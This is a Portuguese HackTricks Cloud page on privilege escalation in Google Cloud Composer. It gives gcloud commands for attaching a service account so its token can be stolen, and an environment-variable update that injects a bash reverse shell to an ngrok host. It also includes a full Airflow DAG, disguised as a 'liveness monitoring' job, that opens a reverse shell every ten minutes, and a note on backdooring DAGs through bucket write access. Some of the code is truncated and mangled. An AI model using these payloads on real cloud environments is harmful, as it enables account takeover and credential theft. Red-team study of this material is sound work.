GCP - Composer Privesc
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
composer
Mais informaçÔes em:
composer.environments.create
Ă possĂvel anexar qualquer conta de serviço ao ambiente composer recĂ©m-criado com essa permissĂŁo. Mais tarde, vocĂȘ poderia executar cĂłdigo dentro do composer para roubar o token da conta de serviço.
Criar ambiente Composer com conta de serviço anexada
```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ```Mais informaçÔes sobre a exploração here.
composer.environments.update
Ă possĂvel atualizar o ambiente do Composer, por exemplo, modificando variĂĄveis de ambiente:
Atualizar variåveis de ambiente do Composer para execução de código
```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ projects/Call the API endpoint directly
PATCH /v1/projects/
{âconfigâ: {âsoftwareConfigâ: {âenvVariablesâ: {âBROWSERâ: â/bin/bash -c âbash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1â & #%sâ, âPYTHONWARNINGSâ: âall:0:antigravity.x:0:0â}}}}
</details>
TODO: Obter RCE adicionando novos pacotes pypi ao ambiente
### Baixar DAGs
Verifique o cĂłdigo-fonte dos DAGs que estĂŁo sendo executados:
<details><summary>Exportar e baixar DAGs do ambiente Composer</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
Import Dags
Adicione o cĂłdigo python do DAG em um arquivo e importe-o executando:
Import malicious DAG into Composer environment
```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ```DAG de Reverse shell:
CĂłdigo DAG em Python para reverse shell
```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from datetime import timedeltadefault_args = { âstart_dateâ: airflow.utils.dates.days_ago(0), âretriesâ: 1, âretry_delayâ: timedelta(minutes=5) }
dag = DAG( âreverse_shellâ, default_args=default_args, description=âliveness monitoring dagâ, schedule_interval=â*/10 * * * *â, max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10), )
priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator( task_id=âbash_revâ, bash_command=âbash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1â, dag=dag, depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False)
</details>
### Acesso de escrita ao bucket do Composer
Todos os componentes de um ambiente composer (DAGs, plugins and data) são armazenados dentro de um bucket GCP. Se o atacante tiver permissÔes de leitura e escrita sobre ele, pode monitorar o bucket e **sempre que um DAG for criado ou atualizado, submeter uma versão backdoored** para que o ambiente composer obtenha do armazenamento a versão backdoored.
Obtenha mais informaçÔes sobre este ataque em:
<a class="content_ref" href="gcp-storage-privesc.md"><span class="content_ref_label">GCP - Storage Privesc</span></a>
### Importar Plugins
TODO: Verificar o que Ă© possĂvel comprometer ao fazer upload de plugins
### Importar Data
TODO: Verificar o que Ă© possĂvel comprometer ao fazer upload de data
> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** đŹ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĂłrios do github.
>
> </details>
HackTricks Cloud

